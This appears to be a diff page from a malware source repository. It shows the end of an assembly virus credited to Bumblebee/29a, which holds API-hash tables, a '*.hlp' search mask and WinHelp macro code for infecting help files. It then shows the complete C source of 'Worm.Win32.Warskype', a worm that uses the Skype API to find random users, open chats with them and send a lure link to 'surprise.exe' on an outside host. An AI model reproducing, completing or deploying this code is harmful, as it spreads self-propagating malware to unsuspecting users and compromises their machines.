rcr ax,1
|
||||
jnc NoCRC
|
||||
xor ax,08320h
|
||||
xor bx,0EDB8h
|
||||
NoCRC:
|
||||
dec dh
|
||||
jnz NextBitCRC
|
||||
xor ecx,eax
|
||||
xor edx,ebx
|
||||
dec edi
|
||||
jnz NextByteCRC
|
||||
pop ebx
|
||||
not edx
|
||||
not ecx
|
||||
mov eax,edx
|
||||
rol eax,16
|
||||
mov ax,cx
|
||||
ret
|
||||
|
||||
copyright db '< AYUDA! Coded by Bumblebee/29a >'
|
||||
|
||||
messForAvers db 0dh,0ah
|
||||
db 'Cumpliendo con mi oficio',0dh,0ah
|
||||
db 'piedra con piedra, pluma a pluma,',0dh,0ah
|
||||
db 'pasa el invierno y deja',0dh,0ah
|
||||
db 'sitios abandonados',0dh,0ah
|
||||
db 'habitaciones muertas:',0dh,0ah
|
||||
db 'yo trabajo y trabajo,',0dh,0ah
|
||||
db 'debo substituir tantos olvidos,',0dh,0ah
|
||||
db 'llenar de pan las tinieblas,',0dh,0ah
|
||||
db 'fundar otra vez la esperanza.',0dh,0ah
|
||||
|
||||
; CRC32 and plaze to store APIs used
|
||||
FSTAPI label byte
|
||||
CrcCreateFileA dd 08c892ddfh
|
||||
size0 db 12
|
||||
_CreateFileA dd 0
|
||||
|
||||
CrcMapViewOfFile dd 0797b49ech
|
||||
size1 db 14
|
||||
_MapViewOfFile dd 0
|
||||
|
||||
CrcCreatFileMappingA dd 096b2d96ch
|
||||
size2 db 19
|
||||
_CreateFileMappingA dd 0
|
||||
|
||||
CrcUnmapViewOfFile dd 094524b42h
|
||||
size3 db 16
|
||||
_UnmapViewOfFile dd 0
|
||||
|
||||
CrcCloseHandle dd 068624a9dh
|
||||
size4 db 12
|
||||
_CloseHandle dd 0
|
||||
|
||||
CrcFindFirstFileA dd 0ae17ebefh
|
||||
size5 db 15
|
||||
_FindFirstFileA dd 0
|
||||
|
||||
CrcFindNextFileA dd 0aa700106h
|
||||
size6 db 14
|
||||
_FindNextFileA dd 0
|
||||
|
||||
CrcFindClose dd 0c200be21h
|
||||
size7 db 10
|
||||
_FindClose dd 0
|
||||
|
||||
CrcVirtualAlloc dd 04402890eh
|
||||
size8 db 13
|
||||
_VirtualAlloc dd 0
|
||||
|
||||
CrcVirtualFree dd 02aad1211h
|
||||
size9 db 12
|
||||
_VirtualFree dd 0
|
||||
ENDAPI label byte
|
||||
|
||||
; data for the macro generation
|
||||
hlpMacroSize equ (endOfMacro1-hlpMacro)+vSize
|
||||
hlpMacro label byte
|
||||
hlpMacro0 db 4,0,macro0Ends-offset macro0,0
|
||||
macro0 db 'RR("USER32","EnumWindows","SU")',0
|
||||
macro0Ends label byte
|
||||
db 4,0
|
||||
macroSize dw ?
|
||||
macro1 db 'EnumWindows("'
|
||||
endOfMacro0 label byte
|
||||
hlpMacro1: jmp esp
|
||||
db '",0)',0
|
||||
endOfMacro1 label byte
|
||||
hlpMacroSize0 equ endOfMacro0-hlpMacro
|
||||
hlpMacroSize1 equ endOfMacro1-offset hlpMacro1
|
||||
|
||||
; several handles
|
||||
fHnd dd 0
|
||||
mfHnd dd 0
|
||||
mHnd dd 0
|
||||
; to store... erm
|
||||
fileSize dd 0
|
||||
; file size with padding
|
||||
padSize dd 0
|
||||
; the size of the generated system file
|
||||
systemSize dd 0
|
||||
; used into API search
|
||||
address dd 0
|
||||
names dd 0
|
||||
ordinals dd 0
|
||||
nexports dd 0
|
||||
expcount dd 0
|
||||
; for find files
|
||||
hlpMask db '*.hlp',0,0
|
||||
findHnd dd 0
|
||||
find_data WIN32_FIND_DATA <?>
|
||||
|
||||
vEnd label byte
|
||||
|
||||
ends
|
||||
end inicio
|
||||
|
227
Win32/Worm.Win32.Warskype.c
Normal file
227
Win32/Worm.Win32.Warskype.c
Normal file
@ -0,0 +1,227 @@
|
||||
/***********************************************************************************************
|
||||
* I saw many IM worms around but nothing using skype. Skype is a nice IM that let you to *
|
||||
* chat or to do VoIP call, so it is possible to use this program like a spreading vector. *
|
||||
* I tried to do direct file transfer but it didn't work so well, so I decided to send url *
|
||||
* to worm to the found users. *
|
||||
* This is only a demonstration, this is a direct action worm, it will work only if skype *
|
||||
* is installed. *
|
||||
* Greetz to: SkyOut, Nibble, izee, RadiatioN, berniee, sk0r, psyco_rabbit ... and everybody *
|
||||
* on #vx-lab and #eof-project *
|
||||
* bye bye ... by WarGame *
|
||||
***********************************************************************************************/
|
||||
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
/* Global handlers */
|
||||
static UINT SkypeAttach;
|
||||
static UINT SkypeDiscover;
|
||||
static HWND Answer = NULL;
|
||||
static HWND SkypeWnd = NULL;
|
||||
static char rnd_nick[2];
|
||||
|
||||
/* generate random nicks to search */
|
||||
void GetRandNick(void)
|
||||
{
|
||||
|
||||
char possible_searches[] = "qwertyuiopasdfghjklzxcvbnm";
|
||||
|
||||
srand(GetTickCount());
|
||||
rnd_nick[0] = possible_searches[rand()%26];
|
||||
rnd_nick[1] = 0;
|
||||
|
||||
}
|
||||
|
||||
DWORD WINAPI S3arch(LPVOID Data)
|
||||
{
|
||||
char msg[128];
|
||||
COPYDATASTRUCT cds;
|
||||
|
||||
while(1)
|
||||
{
|
||||
GetRandNick();
|
||||
sprintf(msg,"SEARCH USERS %s",rnd_nick);
|
||||
cds.dwData= 0;
|
||||
cds.lpData= msg;
|
||||
cds.cbData= strlen(msg)+1;
|
||||
if(!SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds))
|
||||
{
|
||||
/* skype closed */
|
||||
ExitProcess(0);
|
||||
}
|
||||
Sleep((1000*60)*3); /* every 3 minutes */
|
||||
}
|
||||
}
|
||||
|
||||
LRESULT CALLBACK SkypeProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
PCOPYDATASTRUCT SkypeData = NULL;
|
||||
DWORD ThreadID;
|
||||
char *found_users = NULL,*chat_cmd = NULL,*chat_id = NULL,msg_cmd[256];
|
||||
COPYDATASTRUCT cds;
|
||||
|
||||
if(uMsg == SkypeAttach)
|
||||
{
|
||||
if(lParam == 0)
|
||||
{
|
||||
SkypeWnd = (HWND)wParam;
|
||||
CreateThread(NULL,0,&S3arch,0,0,&ThreadID);
|
||||
}
|
||||
}
|
||||
|
||||
if(uMsg == WM_COPYDATA)
|
||||
{
|
||||
if(wParam == SkypeWnd)
|
||||
{
|
||||
SkypeData=(PCOPYDATASTRUCT)lParam;
|
||||
|
||||
if(SkypeData != NULL)
|
||||
{
|
||||
|
||||
if(strstr(SkypeData->lpData,"CHAT "))
|
||||
{
|
||||
strtok(SkypeData->lpData," ");
|
||||
chat_id = strtok(NULL," ");
|
||||
/* this will send the url to everybody :) */
|
||||
sprintf(msg_cmd,"CHATMESSAGE %s Check this! http://marx2.altervista.org/surprise.exe",chat_id);
|
||||
|
||||
cds.dwData= 0;
|
||||
cds.lpData= msg_cmd;
|
||||
cds.cbData= strlen(msg_cmd)+1;
|
||||
SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds);
|
||||
}
|
||||
|
||||
if(strstr(SkypeData->lpData,"USERS "))
|
||||
{
|
||||
found_users = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096);
|
||||
|
||||
if(found_users == NULL)
|
||||
{
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
chat_cmd = (char *)GlobalAlloc(GMEM_ZEROINIT|GMEM_FIXED,3096+128);
|
||||
|
||||
if(chat_cmd == NULL)
|
||||
{
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
strcpy(found_users,(char *)SkypeData->lpData);
|
||||
|
||||
strcpy(found_users,found_users+6);
|
||||
|
||||
sprintf(chat_cmd,"CHAT CREATE %s",found_users);
|
||||
|
||||
/* contact them :) */
|
||||
cds.dwData= 0;
|
||||
cds.lpData= chat_cmd;
|
||||
cds.cbData= strlen(chat_cmd)+1;
|
||||
SendMessage(SkypeWnd, WM_COPYDATA, Answer , (LPARAM)&cds);
|
||||
|
||||
GlobalFree(found_users);
|
||||
GlobalFree(chat_cmd);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DefWindowProc( hWnd, uMsg , wParam, lParam);
|
||||
|
||||
return 1; /* != 0 */
|
||||
}
|
||||
|
||||
void MakeWindow(void)
|
||||
{
|
||||
WNDCLASS wndcls;
|
||||
|
||||
memset(&wndcls,0,sizeof(WNDCLASS));
|
||||
|
||||
wndcls.lpszClassName = "WarSkype by [WarGame,#eof]";
|
||||
wndcls.lpfnWndProc = SkypeProc;
|
||||
|
||||
if(RegisterClass(&wndcls) == 0)
|
||||
{
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
Answer = CreateWindowEx(0, wndcls.lpszClassName, "Skype sucks!", 0, -1, -1, 0, 0,
|
||||
(HWND)NULL, (HMENU)NULL, (HINSTANCE)NULL, NULL);
|
||||
|
||||
if(Answer == NULL)
|
||||
{
|
||||
ExitProcess(0);
|
||||
}
|
||||
}
|
||||
|
||||
void RunSkype(void)
|
||||
{
|
||||
HKEY hKey;
|
||||
char skype_path[MAX_PATH];
|
||||
DWORD len = MAX_PATH;
|
||||
STARTUPINFO inf_prog;
|
||||
PROCESS_INFORMATION info_pr;
|
||||
int user_ret;
|
||||
|
||||
#define ERROR MessageBox(NULL,"I could not find Skype !","Error!",MB_OK|MB_ICONERROR); \
|
||||
ExitProcess(0);
|
||||
|
||||
/* path of skype in registry */
|
||||
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Skype\\Phone",0,
|
||||
KEY_QUERY_VALUE,&hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
ERROR
|
||||
}
|
||||
|
||||
if(RegQueryValueEx(hKey,"SkypePath",0,NULL,skype_path,
|
||||
&len) != ERROR_SUCCESS)
|
||||
{
|
||||
ERROR
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
||||
memset(&inf_prog,0,sizeof(STARTUPINFO));
|
||||
memset(&info_pr,0,sizeof(PROCESS_INFORMATION));
|
||||
|
||||
inf_prog.cb = sizeof(STARTUPINFO);
|
||||
inf_prog.dwFlags = STARTF_USESHOWWINDOW;
|
||||
inf_prog.wShowWindow = SW_SHOW;
|
||||
|
||||
if(CreateProcess(NULL,skype_path,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,
|
||||
NULL,&inf_prog,&info_pr))
|
||||
{
|
||||
MessageBox(NULL,"Allow this program in skype!","Warning!"
|
||||
,MB_OK|MB_ICONWARNING);
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
ERROR
|
||||
}
|
||||
}
|
||||
|
||||
int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
|
||||
{
|
||||
MSG oMessage;
|
||||
SkypeAttach = RegisterWindowMessage("SkypeControlAPIAttach");
|
||||
SkypeDiscover = RegisterWindowMessage("SkypeControlAPIDiscover");
|
||||
|
||||
RunSkype(); /* (try to) run skype */
|
||||
|
||||
if(SkypeAttach != 0 && SkypeDiscover != 0)
|
||||
{
|
||||
MakeWindow(); /* Create window */
|
||||
SendMessage(HWND_BROADCAST, SkypeDiscover, Answer, 0);
|
||||
|
||||
while(GetMessage( &oMessage, 0, 0, 0)!=FALSE)
|
||||
{
|
||||
TranslateMessage(&oMessage);
|
||||
DispatchMessage(&oMessage);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
Loading…
Reference in New Issue
Block a user